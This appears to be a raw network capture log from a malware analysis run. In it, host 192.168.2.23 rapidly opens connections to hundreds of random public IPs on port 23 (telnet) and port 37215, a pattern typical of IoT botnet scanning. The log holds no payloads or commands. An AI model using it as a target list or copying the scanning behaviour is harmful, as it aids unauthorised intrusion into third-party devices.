Dec 3, 2024 23:01:55.703625917 CET	62862	23	192.168.2.23	152.83.52.193
Dec 3, 2024 23:01:55.703645945 CET	62862	23	192.168.2.23	44.57.235.4
Dec 3, 2024 23:01:55.703669071 CET	62862	23	192.168.2.23	79.87.60.92
Dec 3, 2024 23:01:55.703685999 CET	62862	23	192.168.2.23	9.161.63.27
Dec 3, 2024 23:01:55.703699112 CET	62862	23	192.168.2.23	14.170.188.97
Dec 3, 2024 23:01:55.703722954 CET	62862	23	192.168.2.23	144.41.245.149
Dec 3, 2024 23:01:55.703748941 CET	62862	23	192.168.2.23	146.1.213.148
Dec 3, 2024 23:01:55.703763962 CET	62862	23	192.168.2.23	181.37.98.133
Dec 3, 2024 23:01:55.703777075 CET	62862	23	192.168.2.23	24.16.82.81
Dec 3, 2024 23:01:55.703789949 CET	62862	23	192.168.2.23	150.21.232.237
Dec 3, 2024 23:01:55.703804016 CET	62862	23	192.168.2.23	65.90.38.28
Dec 3, 2024 23:01:55.703824043 CET	62862	23	192.168.2.23	131.1.132.162
Dec 3, 2024 23:01:55.703840017 CET	62862	23	192.168.2.23	112.91.115.198
Dec 3, 2024 23:01:55.703862906 CET	62862	23	192.168.2.23	140.211.189.136
Dec 3, 2024 23:01:55.703877926 CET	62862	23	192.168.2.23	139.174.89.195
Dec 3, 2024 23:01:55.703903913 CET	62862	23	192.168.2.23	17.149.197.11
Dec 3, 2024 23:01:55.703916073 CET	62862	23	192.168.2.23	125.215.232.0
Dec 3, 2024 23:01:55.703946114 CET	62862	23	192.168.2.23	142.155.46.66
Dec 3, 2024 23:01:55.703964949 CET	62862	23	192.168.2.23	204.251.5.113
Dec 3, 2024 23:01:55.703985929 CET	62862	23	192.168.2.23	87.186.106.117
Dec 3, 2024 23:01:55.703995943 CET	62862	23	192.168.2.23	52.242.5.174
Dec 3, 2024 23:01:55.704020977 CET	62862	23	192.168.2.23	146.166.168.250
Dec 3, 2024 23:01:55.704032898 CET	62862	23	192.168.2.23	34.85.169.31
Dec 3, 2024 23:01:55.704046965 CET	62862	23	192.168.2.23	37.72.23.30
Dec 3, 2024 23:01:55.704056978 CET	62862	23	192.168.2.23	142.40.146.219
Dec 3, 2024 23:01:55.704075098 CET	62862	23	192.168.2.23	114.81.231.121
Dec 3, 2024 23:01:55.704098940 CET	62862	23	192.168.2.23	211.27.232.134
Dec 3, 2024 23:01:55.704123974 CET	62862	23	192.168.2.23	198.79.56.219
Dec 3, 2024 23:01:55.704132080 CET	62862	23	192.168.2.23	81.169.92.148
Dec 3, 2024 23:01:55.704148054 CET	62862	23	192.168.2.23	52.149.134.96
Dec 3, 2024 23:01:55.704160929 CET	62862	23	192.168.2.23	167.16.175.18
Dec 3, 2024 23:01:55.704180002 CET	62862	23	192.168.2.23	110.174.203.165
Dec 3, 2024 23:01:55.704210043 CET	62862	23	192.168.2.23	42.50.4.211
Dec 3, 2024 23:01:55.704231977 CET	62862	23	192.168.2.23	51.218.210.95
Dec 3, 2024 23:01:55.704246044 CET	62862	23	192.168.2.23	165.9.85.53
Dec 3, 2024 23:01:55.704272032 CET	62862	23	192.168.2.23	217.191.124.206
Dec 3, 2024 23:01:55.704294920 CET	62862	23	192.168.2.23	199.122.95.179
Dec 3, 2024 23:01:55.704318047 CET	62862	23	192.168.2.23	189.115.227.118
Dec 3, 2024 23:01:55.704341888 CET	62862	23	192.168.2.23	180.191.84.100
Dec 3, 2024 23:01:55.704366922 CET	62862	23	192.168.2.23	155.232.85.37
Dec 3, 2024 23:01:55.704380989 CET	62862	23	192.168.2.23	9.63.162.99
Dec 3, 2024 23:01:55.704395056 CET	62862	23	192.168.2.23	184.222.34.145
Dec 3, 2024 23:01:55.704408884 CET	62862	23	192.168.2.23	162.141.217.21
Dec 3, 2024 23:01:55.704421043 CET	62862	23	192.168.2.23	45.216.7.70
Dec 3, 2024 23:01:55.704428911 CET	62862	23	192.168.2.23	195.192.16.117
Dec 3, 2024 23:01:55.704453945 CET	62862	23	192.168.2.23	210.162.205.116
Dec 3, 2024 23:01:55.704472065 CET	62862	23	192.168.2.23	165.158.245.196
Dec 3, 2024 23:01:55.704493999 CET	62862	23	192.168.2.23	75.209.7.146
Dec 3, 2024 23:01:55.704520941 CET	62862	23	192.168.2.23	102.65.210.156
Dec 3, 2024 23:01:55.704529047 CET	62862	23	192.168.2.23	68.42.221.177
Dec 3, 2024 23:01:55.704555035 CET	62862	23	192.168.2.23	92.82.215.216
Dec 3, 2024 23:01:55.704576015 CET	62862	23	192.168.2.23	67.184.105.124
Dec 3, 2024 23:01:55.704596043 CET	62862	23	192.168.2.23	164.233.155.207
Dec 3, 2024 23:01:55.704608917 CET	62862	23	192.168.2.23	128.99.166.43
Dec 3, 2024 23:01:55.704629898 CET	62862	23	192.168.2.23	70.117.206.118
Dec 3, 2024 23:01:55.704658031 CET	62862	23	192.168.2.23	219.134.234.178
Dec 3, 2024 23:01:55.704679012 CET	62862	23	192.168.2.23	81.143.107.170
Dec 3, 2024 23:01:55.704704046 CET	62862	23	192.168.2.23	25.69.93.95
Dec 3, 2024 23:01:55.704718113 CET	62862	23	192.168.2.23	14.208.87.67
Dec 3, 2024 23:01:55.704741001 CET	62862	23	192.168.2.23	150.138.242.113
Dec 3, 2024 23:01:55.704763889 CET	62862	23	192.168.2.23	35.87.237.232
Dec 3, 2024 23:01:55.704777956 CET	62862	23	192.168.2.23	206.226.213.163
Dec 3, 2024 23:01:55.704790115 CET	62862	23	192.168.2.23	44.181.98.90
Dec 3, 2024 23:01:55.704814911 CET	62862	23	192.168.2.23	110.185.36.5
Dec 3, 2024 23:01:55.704833031 CET	62862	23	192.168.2.23	168.224.243.116
Dec 3, 2024 23:01:55.704852104 CET	62862	23	192.168.2.23	79.254.201.2
Dec 3, 2024 23:01:55.704864979 CET	62862	23	192.168.2.23	119.117.25.121
Dec 3, 2024 23:01:55.704890013 CET	62862	23	192.168.2.23	57.58.137.40
Dec 3, 2024 23:01:55.704911947 CET	62862	23	192.168.2.23	51.96.69.135
Dec 3, 2024 23:01:55.704936028 CET	62862	23	192.168.2.23	9.191.101.172
Dec 3, 2024 23:01:55.704950094 CET	62862	23	192.168.2.23	64.157.28.29
Dec 3, 2024 23:01:55.704962969 CET	62862	23	192.168.2.23	49.137.18.177
Dec 3, 2024 23:01:55.704976082 CET	62862	23	192.168.2.23	205.54.68.88
Dec 3, 2024 23:01:55.705001116 CET	62862	23	192.168.2.23	74.209.93.58
Dec 3, 2024 23:01:55.705070019 CET	57610	23	192.168.2.23	203.136.20.239
Dec 3, 2024 23:01:55.705111980 CET	54316	23	192.168.2.23	107.135.178.19
Dec 3, 2024 23:01:55.705152988 CET	58626	23	192.168.2.23	131.236.20.11
Dec 3, 2024 23:01:55.705182076 CET	56194	23	192.168.2.23	73.21.0.138
Dec 3, 2024 23:01:55.705207109 CET	34954	23	192.168.2.23	100.136.26.10
Dec 3, 2024 23:01:55.705245972 CET	33526	23	192.168.2.23	164.44.38.211
Dec 3, 2024 23:01:55.705274105 CET	38302	23	192.168.2.23	139.30.190.68
Dec 3, 2024 23:01:55.705312014 CET	43476	23	192.168.2.23	39.201.90.57
Dec 3, 2024 23:01:55.705343962 CET	35258	23	192.168.2.23	115.64.16.180
Dec 3, 2024 23:01:55.705362082 CET	54058	23	192.168.2.23	136.81.205.129
Dec 3, 2024 23:01:55.705377102 CET	36292	23	192.168.2.23	46.144.193.42
Dec 3, 2024 23:01:55.705395937 CET	50236	23	192.168.2.23	121.248.125.249
Dec 3, 2024 23:01:55.705404997 CET	41460	23	192.168.2.23	2.144.249.178
Dec 3, 2024 23:01:55.705426931 CET	56024	23	192.168.2.23	183.51.70.62
Dec 3, 2024 23:01:55.705440044 CET	34120	23	192.168.2.23	95.181.108.249
Dec 3, 2024 23:01:55.705456972 CET	35976	23	192.168.2.23	97.239.9.248
Dec 3, 2024 23:01:55.705475092 CET	58268	23	192.168.2.23	106.52.164.152
Dec 3, 2024 23:01:55.705482960 CET	42584	23	192.168.2.23	57.91.221.235
Dec 3, 2024 23:01:55.705488920 CET	34706	23	192.168.2.23	192.35.241.145
Dec 3, 2024 23:01:55.705497980 CET	54854	23	192.168.2.23	173.202.73.250
Dec 3, 2024 23:01:55.705508947 CET	36216	23	192.168.2.23	104.232.154.225
Dec 3, 2024 23:01:55.705524921 CET	48968	23	192.168.2.23	107.8.187.185
Dec 3, 2024 23:01:55.705542088 CET	59820	23	192.168.2.23	136.160.245.118
Dec 3, 2024 23:01:55.705553055 CET	33920	23	192.168.2.23	44.63.167.89
Dec 3, 2024 23:01:55.705574989 CET	60462	23	192.168.2.23	212.119.71.9
Dec 3, 2024 23:01:55.705588102 CET	40812	23	192.168.2.23	81.149.244.183
Dec 3, 2024 23:01:55.705595016 CET	34120	23	192.168.2.23	116.191.129.108
Dec 3, 2024 23:01:55.705600977 CET	60798	23	192.168.2.23	5.106.48.241
Dec 3, 2024 23:01:55.705616951 CET	35190	23	192.168.2.23	42.53.198.208
Dec 3, 2024 23:01:55.705629110 CET	48324	23	192.168.2.23	80.77.161.34
Dec 3, 2024 23:01:55.705640078 CET	53376	23	192.168.2.23	43.206.82.65
Dec 3, 2024 23:01:55.713787079 CET	48434	23	192.168.2.23	198.252.29.118
Dec 3, 2024 23:01:55.713787079 CET	35536	23	192.168.2.23	203.139.76.208
Dec 3, 2024 23:01:55.713807106 CET	54692	23	192.168.2.23	40.204.239.45
Dec 3, 2024 23:01:55.713808060 CET	51548	23	192.168.2.23	44.24.160.175
Dec 3, 2024 23:01:55.713808060 CET	47854	23	192.168.2.23	158.84.163.173
Dec 3, 2024 23:01:55.713810921 CET	46140	23	192.168.2.23	207.173.199.96
Dec 3, 2024 23:01:55.713814974 CET	56326	23	192.168.2.23	103.18.44.62
Dec 3, 2024 23:01:55.713818073 CET	53484	23	192.168.2.23	95.233.155.162
Dec 3, 2024 23:01:55.713831902 CET	44370	23	192.168.2.23	98.216.81.222
Dec 3, 2024 23:01:55.713833094 CET	60854	23	192.168.2.23	72.0.224.138
Dec 3, 2024 23:01:55.713833094 CET	38684	23	192.168.2.23	146.136.147.73
Dec 3, 2024 23:01:55.713835001 CET	58746	23	192.168.2.23	53.154.233.124
Dec 3, 2024 23:01:55.713849068 CET	34930	23	192.168.2.23	102.74.191.156
Dec 3, 2024 23:01:55.713850021 CET	44838	23	192.168.2.23	115.85.89.66
Dec 3, 2024 23:01:55.713852882 CET	40394	23	192.168.2.23	71.168.58.99
Dec 3, 2024 23:01:55.713860035 CET	43984	23	192.168.2.23	211.7.248.232
Dec 3, 2024 23:01:55.713865995 CET	49122	23	192.168.2.23	70.246.115.9
Dec 3, 2024 23:01:55.713866949 CET	40512	23	192.168.2.23	121.244.182.44
Dec 3, 2024 23:01:55.713876009 CET	56088	23	192.168.2.23	94.122.203.225
Dec 3, 2024 23:01:55.713876009 CET	35682	23	192.168.2.23	109.9.206.241
Dec 3, 2024 23:01:55.713891983 CET	47642	23	192.168.2.23	39.84.85.114
Dec 3, 2024 23:01:55.713891983 CET	37654	23	192.168.2.23	119.111.45.134
Dec 3, 2024 23:01:55.713896036 CET	33824	23	192.168.2.23	167.174.253.249
Dec 3, 2024 23:01:55.713901043 CET	55188	23	192.168.2.23	98.22.107.167
Dec 3, 2024 23:01:55.713901997 CET	35094	23	192.168.2.23	71.77.97.186
Dec 3, 2024 23:01:55.713901997 CET	50350	23	192.168.2.23	8.65.157.172
Dec 3, 2024 23:01:55.713907003 CET	57564	23	192.168.2.23	73.101.59.4
Dec 3, 2024 23:01:55.713922977 CET	55170	23	192.168.2.23	168.186.52.28
Dec 3, 2024 23:01:55.713924885 CET	37884	23	192.168.2.23	23.93.28.77
Dec 3, 2024 23:01:55.713927031 CET	43866	23	192.168.2.23	213.14.33.159
Dec 3, 2024 23:01:55.713931084 CET	34340	23	192.168.2.23	119.62.14.70
Dec 3, 2024 23:01:55.713931084 CET	59064	23	192.168.2.23	50.210.157.182
Dec 3, 2024 23:01:55.713934898 CET	40908	23	192.168.2.23	181.86.104.115
Dec 3, 2024 23:01:55.713946104 CET	55134	23	192.168.2.23	193.140.128.40
Dec 3, 2024 23:01:55.713953018 CET	57954	23	192.168.2.23	162.42.165.221
Dec 3, 2024 23:01:55.713953018 CET	41718	23	192.168.2.23	203.22.164.77
Dec 3, 2024 23:01:55.713957071 CET	35308	23	192.168.2.23	142.93.77.197
Dec 3, 2024 23:01:55.713958025 CET	56332	23	192.168.2.23	102.52.97.61
Dec 3, 2024 23:01:55.713958979 CET	49770	23	192.168.2.23	115.30.89.247
Dec 3, 2024 23:01:55.713972092 CET	38872	23	192.168.2.23	80.255.98.79
Dec 3, 2024 23:01:55.713972092 CET	35290	23	192.168.2.23	110.62.4.127
Dec 3, 2024 23:01:55.713980913 CET	36774	23	192.168.2.23	180.135.168.138
Dec 3, 2024 23:01:55.713983059 CET	46510	23	192.168.2.23	180.141.31.6
Dec 3, 2024 23:01:55.713983059 CET	49088	23	192.168.2.23	31.78.221.111
Dec 3, 2024 23:01:55.713984013 CET	34238	23	192.168.2.23	100.234.137.2
Dec 3, 2024 23:01:55.713984013 CET	34052	23	192.168.2.23	133.128.172.69
Dec 3, 2024 23:01:55.713984013 CET	54884	23	192.168.2.23	186.98.86.230
Dec 3, 2024 23:01:55.713990927 CET	43128	23	192.168.2.23	12.119.229.224
Dec 3, 2024 23:01:55.713990927 CET	37782	23	192.168.2.23	49.194.57.152
Dec 3, 2024 23:01:55.713992119 CET	58134	23	192.168.2.23	139.155.199.215
Dec 3, 2024 23:01:55.713996887 CET	52278	23	192.168.2.23	187.207.79.165
Dec 3, 2024 23:01:55.713999987 CET	57430	23	192.168.2.23	170.205.116.243
Dec 3, 2024 23:01:55.713999987 CET	42964	23	192.168.2.23	14.4.35.142
Dec 3, 2024 23:01:55.714010000 CET	51940	23	192.168.2.23	218.170.127.105
Dec 3, 2024 23:01:55.714025021 CET	36446	23	192.168.2.23	112.37.210.65
Dec 3, 2024 23:01:55.714026928 CET	40448	23	192.168.2.23	99.104.231.203
Dec 3, 2024 23:01:55.714026928 CET	54000	23	192.168.2.23	219.173.27.42
Dec 3, 2024 23:01:55.714026928 CET	44526	23	192.168.2.23	132.134.13.237
Dec 3, 2024 23:01:55.714032888 CET	47468	23	192.168.2.23	59.146.231.31
Dec 3, 2024 23:01:55.714040041 CET	33952	23	192.168.2.23	169.176.250.43
Dec 3, 2024 23:01:55.714041948 CET	36720	23	192.168.2.23	25.113.154.93
Dec 3, 2024 23:01:55.714046001 CET	35738	23	192.168.2.23	72.81.238.182
Dec 3, 2024 23:01:55.714052916 CET	43112	23	192.168.2.23	204.169.208.227
Dec 3, 2024 23:01:55.714059114 CET	39984	23	192.168.2.23	13.206.86.154
Dec 3, 2024 23:01:55.714066029 CET	56386	23	192.168.2.23	178.42.150.44
Dec 3, 2024 23:01:55.714071035 CET	59932	23	192.168.2.23	174.167.160.110
Dec 3, 2024 23:01:55.714071035 CET	43070	23	192.168.2.23	74.31.3.86
Dec 3, 2024 23:01:55.714072943 CET	55576	23	192.168.2.23	139.212.79.204
Dec 3, 2024 23:01:55.714076042 CET	55504	23	192.168.2.23	169.64.207.107
Dec 3, 2024 23:01:55.714082956 CET	40740	23	192.168.2.23	153.15.97.22
Dec 3, 2024 23:01:55.714085102 CET	38284	23	192.168.2.23	150.23.250.29
Dec 3, 2024 23:01:55.714091063 CET	49246	23	192.168.2.23	136.149.88.56
Dec 3, 2024 23:01:55.714091063 CET	42028	23	192.168.2.23	44.135.170.146
Dec 3, 2024 23:01:55.714097977 CET	43068	23	192.168.2.23	191.115.137.156
Dec 3, 2024 23:01:55.714106083 CET	45730	23	192.168.2.23	111.85.216.214
Dec 3, 2024 23:01:55.714106083 CET	39044	23	192.168.2.23	37.144.180.150
Dec 3, 2024 23:01:55.714112997 CET	46548	23	192.168.2.23	210.145.23.219
Dec 3, 2024 23:01:55.714122057 CET	45058	23	192.168.2.23	90.171.150.97
Dec 3, 2024 23:01:55.714122057 CET	43076	23	192.168.2.23	164.90.23.112
Dec 3, 2024 23:01:55.714129925 CET	51514	23	192.168.2.23	32.101.73.61
Dec 3, 2024 23:01:55.714133024 CET	48004	23	192.168.2.23	149.162.101.231
Dec 3, 2024 23:01:55.714133024 CET	60936	23	192.168.2.23	184.124.117.7
Dec 3, 2024 23:01:55.714137077 CET	36426	23	192.168.2.23	141.137.12.227
Dec 3, 2024 23:01:55.714138985 CET	47184	23	192.168.2.23	185.113.172.19
Dec 3, 2024 23:01:55.714139938 CET	60382	23	192.168.2.23	136.210.98.39
Dec 3, 2024 23:01:55.714143991 CET	51230	23	192.168.2.23	66.214.231.138
Dec 3, 2024 23:01:55.714145899 CET	36348	23	192.168.2.23	35.87.199.18
Dec 3, 2024 23:01:55.714148045 CET	42836	23	192.168.2.23	107.239.188.123
Dec 3, 2024 23:01:55.714152098 CET	56598	23	192.168.2.23	131.137.233.6
Dec 3, 2024 23:01:55.714169025 CET	44616	23	192.168.2.23	50.249.50.205
Dec 3, 2024 23:01:55.714169025 CET	49514	23	192.168.2.23	84.201.227.38
Dec 3, 2024 23:01:55.714169979 CET	49050	23	192.168.2.23	189.159.143.144
Dec 3, 2024 23:01:55.714169979 CET	47156	23	192.168.2.23	90.76.23.188
Dec 3, 2024 23:01:55.714169979 CET	40916	23	192.168.2.23	82.71.173.74
Dec 3, 2024 23:01:55.714171886 CET	35384	23	192.168.2.23	196.59.52.253
Dec 3, 2024 23:01:55.714171886 CET	47006	37215	192.168.2.23	156.24.231.185
Dec 3, 2024 23:01:55.714173079 CET	45774	23	192.168.2.23	137.112.172.224
Dec 3, 2024 23:01:55.714183092 CET	54758	23	192.168.2.23	199.203.205.161
Dec 3, 2024 23:01:55.714183092 CET	57588	37215	192.168.2.23	197.72.158.49
Dec 3, 2024 23:01:55.714185953 CET	48106	37215	192.168.2.23	197.209.55.44
Dec 3, 2024 23:01:55.714194059 CET	56822	37215	192.168.2.23	156.221.56.22
Dec 3, 2024 23:01:55.714194059 CET	60886	37215	192.168.2.23	197.17.74.180
Dec 3, 2024 23:01:55.714196920 CET	52026	37215	192.168.2.23	156.13.35.17
Dec 3, 2024 23:01:55.714202881 CET	59854	37215	192.168.2.23	156.156.6.202
Dec 3, 2024 23:01:55.714205027 CET	33842	37215	192.168.2.23	197.126.190.215
Dec 3, 2024 23:01:55.714210987 CET	52184	37215	192.168.2.23	197.71.201.193
Dec 3, 2024 23:01:55.714221001 CET	33002	37215	192.168.2.23	41.208.229.105
Dec 3, 2024 23:01:55.714222908 CET	41444	37215	192.168.2.23	156.105.224.65
Dec 3, 2024 23:01:55.714226007 CET	49242	37215	192.168.2.23	156.100.53.122
Dec 3, 2024 23:01:55.714231968 CET	40180	37215	192.168.2.23	156.143.237.92
Dec 3, 2024 23:01:55.714235067 CET	35810	37215	192.168.2.23	41.255.211.125
Dec 3, 2024 23:01:55.714248896 CET	55102	37215	192.168.2.23	197.191.128.184
Dec 3, 2024 23:01:55.714251041 CET	45924	37215	192.168.2.23	156.106.43.105
Dec 3, 2024 23:01:55.714251041 CET	50526	37215	192.168.2.23	197.234.115.119
Dec 3, 2024 23:01:55.714251041 CET	33746	37215	192.168.2.23	197.42.120.95
Dec 3, 2024 23:01:55.714256048 CET	55686	37215	192.168.2.23	41.19.39.42
Dec 3, 2024 23:01:55.714256048 CET	42312	37215	192.168.2.23	156.81.179.33
Dec 3, 2024 23:01:55.714258909 CET	57926	37215	192.168.2.23	156.249.195.29
Dec 3, 2024 23:01:55.714273930 CET	34282	37215	192.168.2.23	156.233.245.14
Dec 3, 2024 23:01:55.714273930 CET	33670	37215	192.168.2.23	41.252.94.225
Dec 3, 2024 23:01:55.714278936 CET	41848	37215	192.168.2.23	197.162.115.184
Dec 3, 2024 23:01:55.714283943 CET	45832	37215	192.168.2.23	156.126.231.201
Dec 3, 2024 23:01:55.714283943 CET	37246	37215	192.168.2.23	197.24.115.43
Dec 3, 2024 23:01:55.714288950 CET	46104	37215	192.168.2.23	41.19.59.90
Dec 3, 2024 23:01:55.714293957 CET	34246	37215	192.168.2.23	156.136.75.166
Dec 3, 2024 23:01:55.714301109 CET	57472	37215	192.168.2.23	197.105.199.42
Dec 3, 2024 23:01:55.714306116 CET	51736	37215	192.168.2.23	197.38.142.96
Dec 3, 2024 23:01:55.714308023 CET	49762	37215	192.168.2.23	156.175.145.194
Dec 3, 2024 23:01:55.714312077 CET	59670	37215	192.168.2.23	197.83.17.121
Dec 3, 2024 23:01:55.714327097 CET	56998	37215	192.168.2.23	197.251.219.109
Dec 3, 2024 23:01:55.714328051 CET	58828	37215	192.168.2.23	41.176.120.16
Dec 3, 2024 23:01:55.714329004 CET	35814	37215	192.168.2.23	41.237.88.247
Dec 3, 2024 23:01:55.714329004 CET	41202	37215	192.168.2.23	156.225.99.153
Dec 3, 2024 23:01:55.714333057 CET	52550	37215	192.168.2.23	197.139.56.3
Dec 3, 2024 23:01:55.714335918 CET	41144	37215	192.168.2.23	41.254.119.233
Dec 3, 2024 23:01:55.714337111 CET	46778	37215	192.168.2.23	156.45.237.112
Dec 3, 2024 23:01:55.714345932 CET	49258	37215	192.168.2.23	156.13.181.214
Dec 3, 2024 23:01:55.714355946 CET	42554	37215	192.168.2.23	197.211.48.50
Dec 3, 2024 23:01:55.714366913 CET	58830	37215	192.168.2.23	156.33.74.115
Dec 3, 2024 23:01:55.714368105 CET	44554	37215	192.168.2.23	41.174.187.213
Dec 3, 2024 23:01:55.714368105 CET	33500	37215	192.168.2.23	197.150.177.252
Dec 3, 2024 23:01:55.714369059 CET	43342	37215	192.168.2.23	156.81.65.54
Dec 3, 2024 23:01:55.714369059 CET	37632	37215	192.168.2.23	156.23.242.149
Dec 3, 2024 23:01:55.714373112 CET	53094	37215	192.168.2.23	197.27.170.17
Dec 3, 2024 23:01:55.714374065 CET	53220	37215	192.168.2.23	197.79.74.187
Dec 3, 2024 23:01:55.714374065 CET	53794	37215	192.168.2.23	197.211.19.43
Dec 3, 2024 23:01:55.714374065 CET	33080	37215	192.168.2.23	41.173.15.244
Dec 3, 2024 23:01:55.714375973 CET	53016	37215	192.168.2.23	156.20.162.225
Dec 3, 2024 23:01:55.714382887 CET	42082	37215	192.168.2.23	41.43.171.109
Dec 3, 2024 23:01:55.714382887 CET	36986	37215	192.168.2.23	156.74.132.76
Dec 3, 2024 23:01:55.714396000 CET	54528	37215	192.168.2.23	156.111.209.90
Dec 3, 2024 23:01:55.714396000 CET	59542	37215	192.168.2.23	41.127.74.68
Dec 3, 2024 23:01:55.714397907 CET	36988	37215	192.168.2.23	156.202.104.175
Dec 3, 2024 23:01:55.714404106 CET	37500	37215	192.168.2.23	197.37.119.131
Dec 3, 2024 23:01:55.714410067 CET	52568	37215	192.168.2.23	197.130.163.222
Dec 3, 2024 23:01:55.714413881 CET	34086	37215	192.168.2.23	197.118.220.84
Dec 3, 2024 23:01:55.714422941 CET	37974	37215	192.168.2.23	156.145.2.77
Dec 3, 2024 23:01:55.821667910 CET	23	62862	76.161.166.196	192.168.2.23
Dec 3, 2024 23:01:55.821680069 CET	23	62862	76.60.33.209	192.168.2.23
Dec 3, 2024 23:01:55.821698904 CET	23	62862	195.110.137.88	192.168.2.23
Dec 3, 2024 23:01:55.821707964 CET	23	62862	13.176.62.190	192.168.2.23
Dec 3, 2024 23:01:55.821712971 CET	23	62862	192.178.145.169	192.168.2.23
Dec 3, 2024 23:01:55.821748018 CET	23	62862	71.226.21.127	192.168.2.23
Dec 3, 2024 23:01:55.821757078 CET	23	62862	194.170.249.222	192.168.2.23
Dec 3, 2024 23:01:55.821808100 CET	62862	23	192.168.2.23	13.176.62.190
Dec 3, 2024 23:01:55.821918011 CET	62862	23	192.168.2.23	76.161.166.196
Dec 3, 2024 23:01:55.821938992 CET	62862	23	192.168.2.23	76.60.33.209
Dec 3, 2024 23:01:55.821962118 CET	62862	23	192.168.2.23	195.110.137.88
Dec 3, 2024 23:01:55.821983099 CET	62862	23	192.168.2.23	192.178.145.169
Dec 3, 2024 23:01:55.821995020 CET	62862	23	192.168.2.23	71.226.21.127
Dec 3, 2024 23:01:55.822021961 CET	62862	23	192.168.2.23	194.170.249.222
Dec 3, 2024 23:01:55.822287083 CET	23	62862	116.123.0.168	192.168.2.23
Dec 3, 2024 23:01:55.822304964 CET	23	62862	89.171.234.145	192.168.2.23
Dec 3, 2024 23:01:55.822314978 CET	23	62862	41.118.181.98	192.168.2.23
Dec 3, 2024 23:01:55.822339058 CET	23	62862	218.28.161.12	192.168.2.23
Dec 3, 2024 23:01:55.822345018 CET	62862	23	192.168.2.23	116.123.0.168
Dec 3, 2024 23:01:55.822356939 CET	23	62862	167.29.54.39	192.168.2.23
Dec 3, 2024 23:01:55.822365999 CET	62862	23	192.168.2.23	89.171.234.145
Dec 3, 2024 23:01:55.822381020 CET	62862	23	192.168.2.23	41.118.181.98
Dec 3, 2024 23:01:55.822386980 CET	23	62862	141.254.113.69	192.168.2.23
Dec 3, 2024 23:01:55.822390079 CET	62862	23	192.168.2.23	218.28.161.12
Dec 3, 2024 23:01:55.822401047 CET	62862	23	192.168.2.23	167.29.54.39
Dec 3, 2024 23:01:55.822421074 CET	23	62862	193.108.34.229	192.168.2.23
Dec 3, 2024 23:01:55.822431087 CET	62862	23	192.168.2.23	141.254.113.69
Dec 3, 2024 23:01:55.822448015 CET	23	62862	179.47.96.253	192.168.2.23
Dec 3, 2024 23:01:55.822457075 CET	23	62862	37.109.90.13	192.168.2.23
Dec 3, 2024 23:01:55.822482109 CET	62862	23	192.168.2.23	193.108.34.229
Dec 3, 2024 23:01:55.822489977 CET	62862	23	192.168.2.23	37.109.90.13
Dec 3, 2024 23:01:55.822514057 CET	62862	23	192.168.2.23	179.47.96.253
Dec 3, 2024 23:01:55.822613955 CET	23	62862	78.179.206.6	192.168.2.23
Dec 3, 2024 23:01:55.822623014 CET	23	62862	41.96.219.213	192.168.2.23
Dec 3, 2024 23:01:55.822627068 CET	23	62862	160.85.25.146	192.168.2.23
Dec 3, 2024 23:01:55.822635889 CET	23	62862	174.56.228.221	192.168.2.23
Dec 3, 2024 23:01:55.822650909 CET	23	62862	36.223.149.116	192.168.2.23
Dec 3, 2024 23:01:55.822654963 CET	62862	23	192.168.2.23	78.179.206.6
Dec 3, 2024 23:01:55.822659016 CET	23	62862	39.169.136.177	192.168.2.23
Dec 3, 2024 23:01:55.822664022 CET	62862	23	192.168.2.23	160.85.25.146
Dec 3, 2024 23:01:55.822668076 CET	62862	23	192.168.2.23	41.96.219.213
Dec 3, 2024 23:01:55.822669029 CET	23	62862	193.78.120.142	192.168.2.23
Dec 3, 2024 23:01:55.822679043 CET	23	62862	136.35.224.187	192.168.2.23
Dec 3, 2024 23:01:55.822686911 CET	23	62862	112.196.33.169	192.168.2.23
Dec 3, 2024 23:01:55.822695971 CET	62862	23	192.168.2.23	174.56.228.221
Dec 3, 2024 23:01:55.822695971 CET	23	62862	68.233.194.247	192.168.2.23
Dec 3, 2024 23:01:55.822701931 CET	62862	23	192.168.2.23	36.223.149.116
Dec 3, 2024 23:01:55.822705984 CET	23	62862	126.106.147.213	192.168.2.23
Dec 3, 2024 23:01:55.822715044 CET	23	62862	109.251.36.2	192.168.2.23
Dec 3, 2024 23:01:55.822719097 CET	23	62862	71.6.170.26	192.168.2.23
Dec 3, 2024 23:01:55.822722912 CET	62862	23	192.168.2.23	39.169.136.177
Dec 3, 2024 23:01:55.822725058 CET	23	62862	69.114.81.79	192.168.2.23
Dec 3, 2024 23:01:55.822729111 CET	23	62862	194.245.127.73	192.168.2.23
Dec 3, 2024 23:01:55.822738886 CET	62862	23	192.168.2.23	193.78.120.142
Dec 3, 2024 23:01:55.822752953 CET	62862	23	192.168.2.23	126.106.147.213
Dec 3, 2024 23:01:55.822760105 CET	62862	23	192.168.2.23	136.35.224.187
Dec 3, 2024 23:01:55.822761059 CET	62862	23	192.168.2.23	112.196.33.169
Dec 3, 2024 23:01:55.822771072 CET	62862	23	192.168.2.23	68.233.194.247
Dec 3, 2024 23:01:55.822773933 CET	62862	23	192.168.2.23	109.251.36.2
Dec 3, 2024 23:01:55.822792053 CET	62862	23	192.168.2.23	71.6.170.26
Dec 3, 2024 23:01:55.822805882 CET	62862	23	192.168.2.23	69.114.81.79
Dec 3, 2024 23:01:55.822825909 CET	62862	23	192.168.2.23	194.245.127.73
Dec 3, 2024 23:01:55.826993942 CET	23	62862	223.65.64.124	192.168.2.23
Dec 3, 2024 23:01:55.827056885 CET	62862	23	192.168.2.23	223.65.64.124
Dec 3, 2024 23:01:55.841993093 CET	59944	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:55.841993093 CET	41618	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:55.841995001 CET	51190	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:55.841996908 CET	53972	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:55.841996908 CET	40596	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:55.841996908 CET	37630	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:55.841996908 CET	57126	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:55.841996908 CET	48586	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:55.841996908 CET	46298	37215	192.168.2.23	41.89.254.96
Dec 3, 2024 23:01:55.841996908 CET	44206	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:55.841996908 CET	35974	37215	192.168.2.23	156.29.58.55
Dec 3, 2024 23:01:55.841996908 CET	39006	37215	192.168.2.23	41.8.68.180
Dec 3, 2024 23:01:55.842000008 CET	46614	37215	192.168.2.23	197.41.187.197
